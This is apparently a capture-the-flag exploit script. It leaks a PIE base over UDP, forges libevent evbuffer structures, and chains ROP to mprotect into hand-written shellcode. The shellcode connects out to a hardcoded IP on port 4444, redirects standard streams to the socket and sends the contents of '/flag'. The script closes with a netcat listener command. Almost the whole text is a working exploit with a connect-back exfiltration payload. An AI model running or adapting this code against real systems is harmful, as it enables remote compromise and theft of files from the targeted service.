pkt = udp_query(build_payload("8.8.8.8"))
print("[udp]", parse_reply(pkt))
pie=u64(pkt[-8:])-0x82e8-0xd331+0x14000
print(hex(pie))
#pause()
fake_output=pie+0x40c8
fake_cb=fake_output+0x88
target=Libc+0x539e0
cb_arg=pie+0x40c8+0xf0+0x50
rdi=base+0x000000000000d879
rsi=base+0x000000000000d2e5
rdx=base+0x00000000000339dd#pop rdx ; pop rbx ; pop rbp ; pop r12 ; ret
mprotect=Libc+libc.sym.mprotect
sc  = asm("jmp $+0x100") + b'\x00'*0xf0 + b'\x90'*0x10
sc += asm(r'''
    xor esi, esi
    mul rsi
    inc esi
    mov edi, esi
    inc edi
    mov al, 41
    syscall

    mov edi, eax
    xor eax, eax
    push rax
    mov rbx, 0x8089A8C05C110002
    push rbx
    mov rsi, rsp
    mov edx, 16
    mov al, 42
    syscall

    xor esi, esi
    mov al, 33
    syscall
    inc esi
    mov al, 33
    syscall
    inc esi
    mov al, 33
    syscall

    xor eax, eax
    push rax
    mov rbx, 0x67616c662f
    push rbx
    mov rdi, rsp
    xor esi, esi
    xor edx, edx
    mov eax, 2
    syscall

    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall

    mov edx, eax
    mov rsi, rsp
    mov edi, 1
    mov eax, 1
    syscall

over:
    xor edi, edi
    mov eax, 60
    syscall
''')

shellcode=sc
rop=p64(rdi)+p64(fake_output&~0xfff)+p64(rsi)+p64(0x5000)+p64(rdx)+p64(7)*4+p64(mprotect)
obj = flat({
    # fake evbuffer
    0x00: p64(0),                   # first = NULL
    0x08: p64(0),                   # last = NULL
    0x10: p64(fake_output),         # last_with_datap = self
    0x18: p64(0),                   # total_len
    0x20: p64(0),                   # n_add_for_cb
    0x28: p64(0),                   # n_del_for_cb
    0x30: p64(0),                   # lock = NULL
    0x38: p64(0),                   # flags + padding，别开 deferred
    0x40: p64(0),                   # deferred_cb_queue = NULL
    0x48: p32(1) + p32(0),          # refcnt = 1
    0x50: b'\x00' * 0x28,           # fake_deferred_cb，先全 0
    0x78: p64(fake_cb),             # callbacks = &fake_cb
    0x80: p64(0),                   # parent = NULL

    # fake evbuffer_cb_entry
    0x88: p64(0),                   # next = NULL
    0x90: p64(fake_output + 0x78),  # prev_nextp
    0x98: p64(target),              # cb_func
    0xA0: p64(cb_arg),              # cbarg
    0xA8: p64(pie+0x13A3),    # flags
    0xE0: p64(pie+0x40c8+0x500)
}, filler=b'\x00')
obj+=p64(pie+0x13A3)*0x10
obj+=rop+p64(Libc+0x2b78e)
obj+=shellcode
payload=p64(pie+0x40c8)+obj   #0x5555555580c0  === offset + 0x40c0
payload=p64(pie+0x4040+0x80)+p64(1)*3+p64(pie+0x4040+0x80-0x118)+p64(0)*3+payload
pause()
io, pkt = tcp_query(build_payload("1.1.1.1",payload))
1
$ nc -lnvp 4444